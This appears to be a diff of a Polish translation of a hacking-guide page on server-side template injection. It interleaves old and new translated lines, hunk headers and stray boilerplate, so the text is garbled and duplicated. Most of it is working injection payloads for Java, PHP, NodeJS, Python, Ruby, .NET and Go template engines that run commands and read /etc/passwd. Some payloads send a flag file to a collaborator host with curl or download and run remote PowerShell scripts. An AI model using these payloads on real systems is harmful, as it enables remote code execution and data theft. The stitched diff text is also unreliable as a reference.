### FreeMarker (Java)
Możesz wypróbować swoje payloady na [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
Możesz wypróbować swoje ładunki na [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (legacy)`
* `${7*'7'} Nic`
* `${7*'7'} Nothing`
* `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
@ -235,33 +155,35 @@ $str.valueOf($chr.toChars($out.read()))
### Thymeleaf
W Thymeleaf, powszechnym testem podatności na SSTI jest wyrażenie `${7*7}`, które również dotyczy tego silnika szablonów. Aby potencjalnie wykonać zdalny kod, można użyć wyrażeń takich jak:
W Thymeleaf, powszechnym testem podatności na SSTI jest wyrażenie `${7*7}`, które również dotyczy tego silnika szablonów. Do potencjalnego wykonania zdalnego kodu można użyć wyrażeń takich jak:
* SpringEL:
- SpringEL:
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
- OGNL:
* OGNL:
```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf wymaga, aby te wyrażenia były umieszczone w określonych atrybutach. Jednak _wstawianie wyrażeń_ jest obsługiwane dla innych lokalizacji szablonów, za pomocą składni `[[...]]` lub `[(...)]`. W związku z tym, prosty ładunek testowy SSTI może wyglądać tak: `[[${7*7}]]`.
Thymeleaf wymaga, aby te wyrażenia były umieszczone w określonych atrybutach. Jednak _wstawianie wyrażeń_ jest obsługiwane w innych lokalizacjach szablonów, za pomocą składni takiej jak `[[...]]` lub `[(...)]`. W związku z tym, prosty ładunek testowy SSTI może wyglądać jak `[[${7*7}]]`.
Jednak szansa na powodzenie tego ładunku jest zazwyczaj niska. Domyślna konfiguracja Thymeleaf nie obsługuje dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny `TemplateResolver`, aby tworzyć szablony ze stringów w locie, co jest rzadkie.
Jednak szansa na powodzenie tego ładunku jest zazwyczaj niska. Domyślna konfiguracja Thymeleaf nie obsługuje dynamicznej generacji szablonów; szablony muszą być predefiniowane. Programiści musieliby zaimplementować własny `TemplateResolver`, aby tworzyć szablony z ciągów znaków w locie, co jest rzadkie.
Thymeleaf oferuje również _preprocessing wyrażeń_, gdzie wyrażenia wewnątrz podwójnych podkreślników (`__...__`) są przetwarzane przed wykonaniem. Ta funkcja może być wykorzystana przy konstrukcji wyrażeń, jak pokazano w dokumentacji Thymeleaf:
Thymeleaf oferuje również _przetwarzanie wyrażeń_, gdzie wyrażenia wewnątrz podwójnych podkreśleń (`__...__`) są przetwarzane wstępnie. Ta funkcja może być wykorzystana przy konstruowaniu wyrażeń, jak pokazano w dokumentacji Thymeleaf:
```java
#{selection.__${sel.code}__}
```
**Przykład podatności w Thymeleaf**
Rozważmy następujący fragment kodu, który może być podatny na wykorzystanie:
Rozważ poniższy fragment kodu, który może być podatny na eksploatację:
```xml
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
To wskazuje, że jeśli silnik szablonów nieprawidłowo przetwarza te dane wejściowe, może to prowadzić do zdalnego wykonania kodu, uzyskując dostęp do adresów URL takich jak:
To wskazuje, że jeśli silnik szablonów nieprawidłowo przetwarza te dane wejściowe, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL, takich jak:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -274,34 +196,19 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
### Framework Spring (Java)
### Spring Framework (Java)
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
**Ominięcie filtrów**
**Ominij filtry**
Można używać wielu wyrażeń zmiennych, jeśli `${...}` nie działa, spróbuj `#{...}`, `*{...}`, `@{...}` lub `~{...}`.
Można użyć wielu wyrażeń zmiennych, jeśli `${...}` nie działa, spróbuj `#{...}`, `*{...}`, `@{...}` lub `~{...}`.
* Odczytaj `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
* Niestandardowy skrypt do generowania payloadów
```python
import os
def generate_payload(command):
payload = f"{{{{ {command} }}}}"
return payload
if __name__ == "__main__":
command = input("Enter the command to execute: ")
payload = generate_payload(command)
print(f"Generated payload: {payload}")
```
Ten skrypt Pythona służy do generowania payloadów. Wprowadź polecenie, które chcesz wykonać, a skrypt wygeneruje odpowiedni payload.
```python
#!/usr/bin/python3
@ -360,6 +267,7 @@ Nowa wersja Pebble:
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
@ -374,37 +282,16 @@ Nowa wersja Pebble:
```
### Jinjava (Java)
Jinjava to silnik szablonów dla języka Java, który obsługuje wstrzykiwanie kodu po stronie serwera (Server-Side Template Injection - SSTI). Jest to popularna technika wykorzystywana przez hakerów do wykonania kodu na serwerze i uzyskania nieautoryzowanego dostępu.
#### Jak działa Jinjava?
Jinjava działa poprzez umożliwienie programistom tworzenia szablonów, które mogą być dynamicznie renderowane na serwerze. Jednak jeśli nie są odpowiednio zabezpieczone, szablony te mogą być podatne na wstrzykiwanie kodu. Hakerzy mogą wykorzystać tę lukę, aby wstrzyknąć złośliwy kod i wykonać go na serwerze.
#### Wykrywanie i wykorzystywanie SSTI w Jinjava
Aby wykryć i wykorzystać SSTI w Jinjava, hakerzy mogą przeprowadzić testy, wstrzykując kod w różne miejsca w szablonach i obserwując, czy zostaje on wykonany. Jeśli kod zostaje wykonany, oznacza to, że serwer jest podatny na SSTI.
Hakerzy mogą również wykorzystać różne techniki, takie jak wstrzykiwanie kodu Pythona, aby uzyskać dostęp do wrażliwych danych na serwerze. Przykładowe techniki obejmują wywoływanie funkcji systemowych, odczytywanie plików i wykonanie dowolnego kodu Pythona.
#### Zabezpieczanie się przed SSTI w Jinjava
Aby zabezpieczyć się przed SSTI w Jinjava, programiści powinni:
- Unikać bezpośredniego wstrzykiwania danych użytkownika do szablonów.
- Sprawdzać i filtrować dane wejściowe, aby upewnić się, że nie zawierają złośliwego kodu.
- Używać wbudowanych funkcji i metod do bezpiecznego przetwarzania danych w szablonach.
- Regularnie aktualizować silnik Jinjava, aby korzystać z najnowszych poprawek zabezpieczeń.
Ważne jest, aby programiści byli świadomi zagrożeń związanych z SSTI w Jinjava i podejmowali odpowiednie środki ostrożności, aby zabezpieczyć swoje aplikacje przed atakami.
### Jinjava (Java)
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava to projekt open source rozwijany przez Hubspot, dostępny pod adresem [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
Jinjava to projekt open source opracowany przez Hubspot, dostępny pod adresem [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
**Jinjava - Wykonanie poleceń**
Naprawiono za pomocą [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
Naprawiono przez [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
@ -420,9 +307,9 @@ Naprawiono za pomocą [https://github.com/HubSpot/jinjava/pull/230](https://gith
### Hubspot - HuBL (Java)
* `{% %}` - delimitery instrukcji
* `{{ }}` - delimitery wyrażeń
* `{# #}` - delimitery komentarzy
* `{% %}` - ograniczniki instrukcji
* `{{ }}` - ograniczniki wyrażeń
* `{# #}` - ograniczniki komentarzy
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
@ -475,7 +362,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### Expression Language - EL (Java)
### Język Wyrażeń - EL (Java)
* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
@ -483,13 +370,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
Expression Language (EL) to podstawowa funkcja, która ułatwia interakcję między warstwą prezentacji (takimi jak strony internetowe) a logiką aplikacji (takimi jak zarządzane beany) w JavaEE. Jest szeroko stosowany w wielu technologiach JavaEE, aby usprawnić tę komunikację. Główne technologie JavaEE wykorzystujące EL to:
Język Wyrażeń (EL) to podstawowa funkcja ułatwiająca interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak zarządzane beany) w JavaEE. Jest szeroko stosowany w wielu technologiach JavaEE do usprawnienia tej komunikacji. Kluczowe technologie JavaEE wykorzystujące EL to:
- **JavaServer Faces (JSF)**: Wykorzystuje EL do powiązania komponentów na stronach JSF z odpowiadającymi danymi i działaniami w backendzie.
- **JavaServer Pages (JSP)**: EL jest używany w JSP do dostępu i manipulacji danymi wewnątrz stron JSP, ułatwiając połączenie elementów strony z danymi aplikacji.
- **Contexts and Dependency Injection for Java EE (CDI)**: EL integruje się z CDI, umożliwiając płynną interakcję między warstwą internetową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.
* **JavaServer Faces (JSF)**: Wykorzystuje EL do wiązania komponentów na stronach JSF z odpowiadającymi danymi i akcjami w backendzie.
* **JavaServer Pages (JSP)**: EL jest używany w JSP do dostępu i manipulacji danymi wewnątrz stron JSP, ułatwiając połączenie elementów strony z danymi aplikacji.
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integruje się z CDI, umożliwiając płynną interakcję między warstwą internetową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.
Sprawdź następującą stronę, aby dowiedzieć się więcej na temat **wykorzystania interpreterów EL**:
Sprawdź następującą stronę, aby dowiedzieć się więcej na temat **eksploatacji interpreterów EL**:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
@ -497,7 +384,7 @@ Sprawdź następującą stronę, aby dowiedzieć się więcej na temat **wykorzy
### Groovy (Java)
Następujące obejścia Security Managera zostały zaczerpnięte z tego [**opisu**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
Poniższe obejścia menedżera bezpieczeństwa zostały zaczerpnięte z tego [**opisu**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@ -524,13 +411,12 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
{% embed url="https://www.rootedcon.com/" %}
##
### Smarty (PHP)
```php
{$smarty.version}
@ -549,8 +435,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Błąd`
* `{{foobar}} Nic`
* `{{1/0}} = Error`
* `{{foobar}} Nothing`
```python
#Get Info
{{_self}} #(Ref. to current application)
@ -575,30 +461,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
{{["error_reporting", "0"]|sort("ini_set")}}
```
**Twig - Format szablonu**
Twig jest popularnym językiem szablonów używanym w wielu frameworkach internetowych, takich jak Symfony czy Laravel. Jest to język oparty na składni szablonów, który umożliwia programistom tworzenie dynamicznych stron internetowych. Twig jest bezpieczny i chroni przed atakami takimi jak Server-Side Template Injection (SSTI).
**Server-Side Template Injection (SSTI) w Twig**
Server-Side Template Injection (SSTI) to technika ataku, która polega na wstrzykiwaniu kodu szablonu po stronie serwera. W przypadku Twig, SSTI może wystąpić, gdy nieprawidłowo walidowane dane użytkownika są wstrzykiwane bezpośrednio do szablonu Twig. Atakujący może wykorzystać tę lukę, aby wykonać kod na serwerze i uzyskać dostęp do poufnych danych lub zdalnie kontrolować aplikację.
**Przykład SSTI w Twig**
Poniżej przedstawiono przykład kodu Twig, który jest podatny na SSTI:
```twig
{{ user_input }}
```
W powyższym przykładzie `user_input` jest bezpośrednio wstrzykiwane do szablonu Twig. Jeśli atakujący dostarczy złośliwy kod jako `user_input`, może to prowadzić do wykonania niebezpiecznych operacji na serwerze.
**Zapobieganie SSTI w Twig**
Aby zapobiec atakom SSTI w Twig, należy zawsze prawidłowo walidować i filtrować dane użytkownika przed ich wstrzykiwaniem do szablonów. Należy unikać bezpośredniego wstrzykiwania niezaufanych danych do szablonów i zawsze używać bezpiecznych metod dostarczanych przez Twig, takich jak `escape` lub `raw`.
**Podsumowanie**
Server-Side Template Injection (SSTI) to poważna luka w zabezpieczeniach, która może prowadzić do poważnych konsekwencji. W przypadku Twig, należy zawsze dbać o prawidłowe walidowanie i filtrowanie danych użytkownika, aby zapobiec atakom SSTI.
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
@ -617,7 +479,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
Plates to silnik szablonów natywny dla PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.
Plates to silnik szablonów wbudowany w PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.
Kontroler:
```php
@ -646,11 +508,12 @@ Szablon układu:
</html>
```
**Więcej informacji**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
### PHPlib i HTML\_Template\_PHPLIB (PHP)
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) to to samo co PHPlib, ale przeniesione do Pear.
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) jest taka sama jak PHPlib, ale przeniesiona do Pear.
`authors.tpl`
```html
@ -674,37 +537,7 @@ Szablon układu:
</body>
</html>
```
# Server-Side Template Injection (SSTI)
Server-Side Template Injection (SSTI) is a vulnerability that allows an attacker to inject malicious code into a server-side template, which is then executed by the server. This can lead to remote code execution (RCE) and other serious security issues.
## Exploiting SSTI in `authors.php`
In the `authors.php` file, there may be a vulnerability that allows for SSTI. By injecting malicious code into the server-side template, an attacker can execute arbitrary commands on the server.
To exploit this vulnerability, follow these steps:
1. Identify the injection point: Look for user-controlled input that is directly used in the template engine. This can include variables, function calls, or other template constructs.
2. Craft the payload: Construct a payload that will execute the desired command on the server. This can vary depending on the template engine being used.
3. Inject the payload: Submit the payload through the user-controlled input to trigger the SSTI vulnerability.
4. Verify the exploitation: Check if the injected code is executed by observing the server's response or by checking for the desired side effects.
## Prevention and Mitigation
To prevent SSTI vulnerabilities, follow these best practices:
- Input validation and sanitization: Always validate and sanitize user input before using it in a template engine. This can help prevent malicious code injection.
- Template engine configuration: Configure the template engine to restrict access to sensitive server-side functions and variables.
- Least privilege principle: Ensure that the server-side code has the minimum necessary permissions to prevent unauthorized access.
- Regular updates: Keep the template engine and server software up to date to patch any known vulnerabilities.
By following these practices, you can reduce the risk of SSTI vulnerabilities and protect your server from potential attacks.
`authors.php`
```php
<?php
//we want to display this author list
@ -737,7 +570,8 @@ echo $t->finish($t->parse('OUT', 'authors'));
?>
```
**Więcej informacji**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
### Jade (NodeJS)
```javascript
@ -757,7 +591,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) to niekompilujący silnik szablonów PHP, który używa znaczników XML do podziału dokumentu na różne części.
> [patTemplate](https://github.com/wernerwa/pat-template) silnik szablonów PHP, który nie kompiluje, używający tagów XML do podziału dokumentu na różne części
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -770,11 +604,12 @@ Hello {NAME}.<br/>
</patTemplate:tmpl>
```
**Więcej informacji**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
### Handlebars (NodeJS)
Przechodzenie ścieżką (więcej informacji [tutaj](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
Obróbka ścieżki (więcej informacji [tutaj](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
@ -811,12 +646,12 @@ URLencoded:
### JsRender (NodeJS)
| **Szablon** | **Opis** |
| **Szablon** | **Opis** |
| ------------ | --------------------------------------- |
| | Ocena i renderowanie wyniku |
| | Ocena i renderowanie zakodowanego HTML-a |
| | Komentarz |
| and | Pozwala na kod (domyślnie wyłączone) |
| | Ocenia i renderuje wynik |
| | Ocenia i renderuje wynik zakodowany w HTML |
| | Komentarz |
| and | Pozwala na kod (domyślnie wyłączone) |
* \= 49
@ -824,7 +659,7 @@ URLencoded:
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Serwerowa strona**
**Strona serwera**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
@ -866,7 +701,7 @@ home = pugjs.render(injected_page)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Błąd`
* `<%= foobar %> = Error`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
@ -894,7 +729,7 @@ home = pugjs.render(injected_page)
### Python
Sprawdź następującą stronę, aby dowiedzieć się sztuczek dotyczących **omijania piaskownic przy wykonaniu dowolnych poleceń** w pythonie:
Sprawdź następującą stronę, aby dowiedzieć się więcej o sztuczkach związanych z **omijaniem piaskownic przy wykonaniu dowolnych poleceń** w języku Python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -916,17 +751,19 @@ Sprawdź następującą stronę, aby dowiedzieć się sztuczek dotyczących **om
{{os.system('whoami')}}
{{os.system('whoami')}}
```
**Więcej informacji**
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
### Jinja2 (Python)
[Oficjalna strona](http://jinja.pocoo.org)
[Oficjalna strona internetowa](http://jinja.pocoo.org)
> Jinja2 to zaawansowany silnik szablonów dla Pythona. Posiada pełne wsparcie dla Unicode, opcjonalne zintegrowane środowisko wykonawcze w trybie piaskownicy, jest szeroko stosowany i posiada licencję BSD.
> Jinja2 to zaawansowany silnik szablonów dla języka Python. Posiada pełne wsparcie dla Unicode, opcjonalne zintegrowane środowisko wykonawcze w trybie piaskownicy, jest powszechnie używany i posiada licencję BSD.
* `{{7*7}} = Błąd`
* `${7*7} = ${7*7}`
@ -945,33 +782,12 @@ Sprawdź następującą stronę, aby dowiedzieć się sztuczek dotyczących **om
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Format szablonu**
Jinja2 jest silnym i elastycznym silnikiem szablonów, który jest szeroko stosowany w aplikacjach internetowych opartych na Pythonie. Szablon Jinja2 składa się z tekstu i wyrażeń, które są otoczone podwójnymi nawiasami klamrowymi `{{ }}` lub podwójnymi nawiasami klamrowymi z procentami `{% %}`. Wyrażenia wewnątrz tych nawiasów są ewaluowane i zastępowane wartościami podczas renderowania szablonu.
**Podatność na Server-Side Template Injection (SSTI)**
Server-Side Template Injection (SSTI) to podatność, która występuje, gdy aplikacja internetowa umożliwia użytkownikom wprowadzanie kodu szablonu, który jest następnie ewaluowany i wykonany po stronie serwera. Jeśli aplikacja nie sprawdza i nie waliduje danych wejściowych, atakujący może wstrzyknąć złośliwy kod szablonu, co może prowadzić do wykonania dowolnego kodu na serwerze.
**Wykorzystanie SSTI w Jinja2**
Aby wykorzystać podatność SSTI w Jinja2, atakujący musi znaleźć miejsce, w którym aplikacja umożliwia wstrzyknięcie kodu szablonu. Następnie atakujący może użyć różnych technik, takich jak wstrzykiwanie zmiennych, wywoływanie funkcji, iterowanie po obiektach, aby manipulować kodem szablonu i osiągnąć wykonanie dowolnego kodu na serwerze.
**Zabezpieczenia przed SSTI**
Aby zabezpieczyć się przed atakami SSTI, należy:
- Dokładnie sprawdzać i walidować dane wejściowe.
- Unikać bezpośredniego wstrzykiwania danych wejściowych do kodu szablonu.
- Używać bezpiecznych metod renderowania szablonów, które automatycznie unikają ewaluacji niebezpiecznego kodu.
**Podsumowanie**
Podatność na Server-Side Template Injection (SSTI) w Jinja2 może prowadzić do poważnych konsekwencji, takich jak wykonanie dowolnego kodu na serwerze. Aby zabezpieczyć się przed tym rodzajem ataku, należy dokładnie sprawdzać i walidować dane wejściowe oraz unikać bezpośredniego wstrzykiwania ich do kodu szablonu.
```python
{% raw %}
{% extends "layout.html" %}
@ -1014,6 +830,7 @@ x=os.popen('id').read()
${x}
```
**Więcej informacji**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Razor (.Net)
@ -1021,15 +838,15 @@ ${x}
* `@(2+2) <= Sukces`
* `@() <= Sukces`
* `@("{{code}}") <= Sukces`
* `@ <=Sukces`
* `@ <= Sukces`
* `@{} <= BŁĄD!`
* `@{ <= BŁĄD!`
* `@(1+2)`
* `@( //KodC# )`
* `@( //Kod C# )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUA");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AdABtAGUAdADYANAAuAGUAeABlAA==");`
Metoda `.NET` `System.Diagnostics.Process.Start` może być użyta do uruchomienia dowolnego procesu na serwerze i tym samym utworzenia webshell. Przykład podatnej aplikacji internetowej można znaleźć w [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
Metoda `.NET` `System.Diagnostics.Process.Start` może być użyta do uruchomienia dowolnego procesu na serwerze i tym samym utworzenia webshell. Możesz znaleźć przykład podatnej aplikacji internetowej w [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Więcej informacji**
@ -1041,7 +858,7 @@ Metoda `.NET` `System.Diagnostics.Process.Start` może być użyta do uruchomien
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Nic
* `<%= response.write(date()) %>` = \<Data>
* `<%= response.write(date()) %>` = \<Date>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
@ -1061,25 +878,23 @@ Nawet jeśli to perl, używa tagów podobnych do ERB w Ruby.
```
### SSTI w GO
W silniku szablonów Go można potwierdzić jego użycie za pomocą konkretnych payloadów:
W silniku szablonów Go, potwierdzenie jego użycia można przeprowadzić za pomocą konkretnych ładunków:
* `{{ . }}`: Ujawnia strukturę danych wejściowych. Na przykład, jeśli przekazany zostanie obiekt z atrybutem `Password`, `{{ .Password }}` może go ujawnić.
* `{{printf "%s" "ssti" }}`: Powinno wyświetlić ciąg znaków "ssti".
* `{{html "ssti"}}`, `{{js "ssti"}}`: Te payloady powinny zwrócić "ssti" bez dodawania "html" lub "js". Więcej dyrektyw można znaleźć w dokumentacji Go [tutaj](https://golang.org/pkg/text/template).
* `{{ . }}`: Ujawnia strukturę danych wejściowych. Na przykład, jeśli przekazany jest obiekt z atrybutem `Password`, `{{ .Password }}` może go ujawnić.
* `{{printf "%s" "ssti" }}`: Oczekuje się, że wyświetli ciąg "ssti".
* `{{html "ssti"}}`, `{{js "ssti"}}`: Te ładunki powinny zwrócić "ssti" bez dodawania "html" lub "js". Dodatkowe dyrektywy można sprawdzić w dokumentacji Go [tutaj](https://golang.org/pkg/text/template).
**Eksploatacja XSS**
Z pakietem `text/template` XSS może być prosty poprzez bezpośrednie wstawienie payloadu. W przeciwnym razie pakiet `html/template` koduje odpowiedź, aby temu zapobiec (np. `{{"<script>alert(1)</script>"}}` daje wynik `&lt;script&gt;alert(1)&lt;/script&gt;`). Niemniej jednak, definicja i wywołanie szablonu w Go mogą ominąć to kodowanie:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
Z pakietem `text/template`, XSS może być prosty poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet `html/template` koduje odpowiedź, aby temu zapobiec (np. `{{"<script>alert(1)</script>"}}` skutkuje `&lt;script&gt;alert(1)&lt;/script&gt;`). Niemniej jednak, definicja i wywołanie szablonu w Go może ominąć to kodowanie: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet
Copy code
vbnet Copy code
**Eksploatacja RCE**
Eksploatacja RCE różni się znacznie między `html/template` a `text/template`. Moduł `text/template` pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (za pomocą wartości "call"), co nie jest dozwolone w `html/template`. Dokumentacja dla tych modułów jest dostępna [tutaj dla html/template](https://golang.org/pkg/html/template/) i [tutaj dla text/template](https://golang.org/pkg/text/template/).
Eksploatacja RCE różni się znacząco między `html/template` i `text/template`. Moduł `text/template` pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości "call"), co nie jest dozwolone w `html/template`. Dokumentacja dla tych modułów jest dostępna [tutaj dla html/template](https://golang.org/pkg/html/template/) i [tutaj dla text/template](https://golang.org/pkg/text/template/).
